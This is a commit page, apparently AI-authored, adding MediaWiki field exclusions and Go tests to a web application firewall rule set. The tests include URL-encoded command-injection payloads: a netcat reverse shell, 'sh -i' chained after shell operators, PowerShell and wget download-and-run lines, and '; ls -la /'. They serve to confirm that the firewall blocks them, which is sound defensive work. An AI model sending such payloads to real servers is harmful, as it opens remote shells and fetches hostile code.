Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 16m32s
check / check (push) Failing after 16m32s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.
On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.
Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
Model: opus-5-5
This commit was merged in pull request #265.
This commit is contained in:
1 parent
d70fb34f40
commit
922fe0cf71
4 files changed
+150
-14
No files matched your search
@@ -49,8 +49,8 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
||||
// path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -85,6 +85,10 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=allpages&apto=",
|
||||
"/api.php?action=query&list=allpages&apprefix=",
|
||||
"/api.php?action=query&generator=allpages&gapfrom=",
|
||||
"/api.php?action=query&generator=allpages&gapto=",
|
||||
"/api.php?action=query&generator=allpages&gapprefix=",
|
||||
"/api.php?action=query&generator=allimages&gaifrom=",
|
||||
"/api.php?action=query&generator=allimages&gaiprefix=",
|
||||
"/api.php?action=query&list=allimages&aifrom=",
|
||||
"/api.php?action=query&list=allimages&aiprefix=",
|
||||
"/api.php?action=query&list=allusers&aufrom=",
|
||||
@@ -92,6 +96,8 @@ var mediawikiQueryFields = []string{
|
||||
"/api.php?action=query&list=backlinks&bltitle=",
|
||||
"/api.php?action=query&generator=backlinks&gbltitle=",
|
||||
"/api.php?action=query&list=exturlusage&euquery=",
|
||||
"/api.php?action=query&generator=exturlusage&geuquery=",
|
||||
"/api.php?action=query&list=logevents&letitle=",
|
||||
"/api.php?action=query&list=usercontribs&ucuser=",
|
||||
"/api.php?action=query&list=blocks&bkusers=",
|
||||
"/w/api.php?action=opensearch&search=",
|
||||
@@ -130,8 +136,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
type mediawikiBodyField struct{ target, field string }
|
||||
|
||||
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext and the JSON
|
||||
// fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
||||
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
||||
// a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -174,6 +180,14 @@ var mediawikiReasonFields = []mediawikiBodyField{
|
||||
{mediawikiProtect, "mwProtect-reason="},
|
||||
}
|
||||
|
||||
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
||||
// list of titles in, one per line.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mediawikiWatchlist = mediawikiBodyField{
|
||||
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
||||
}
|
||||
|
||||
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -190,7 +204,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
crs := readingBodies(t)
|
||||
|
||||
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
||||
mediawikiReasonFields)
|
||||
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
||||
|
||||
for _, attack := range mediawikiAttacks {
|
||||
for _, sent := range fields {
|
||||
@@ -255,6 +269,34 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||
// it once.
|
||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
|
||||
for _, attack := range []string{
|
||||
mediawikiCommandAttack,
|
||||
"Example%0D%0A" + mediawikiCommandAttack,
|
||||
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
||||
"Example%0D%0A%24%28id%29",
|
||||
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
||||
"%3B%20sh%20-i",
|
||||
"%26%26%20sh%20-i",
|
||||
"%7C%7C%20sh%20-i",
|
||||
"%60sh%20-i%60",
|
||||
"%3B%20ls%20-la%20%2F",
|
||||
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
||||
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
||||
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
||||
} {
|
||||
body := mediawikiWatchlist.field + attack
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
@@ -291,6 +333,14 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A watchlist holds the title on its second line, as recorded.
|
||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -355,6 +405,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{mediawikiEdit, "wpSummary=python3"},
|
||||
{mediawikiSignIn, "wpPassword=python3"},
|
||||
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
|
||||
Reference in new issue
Block a user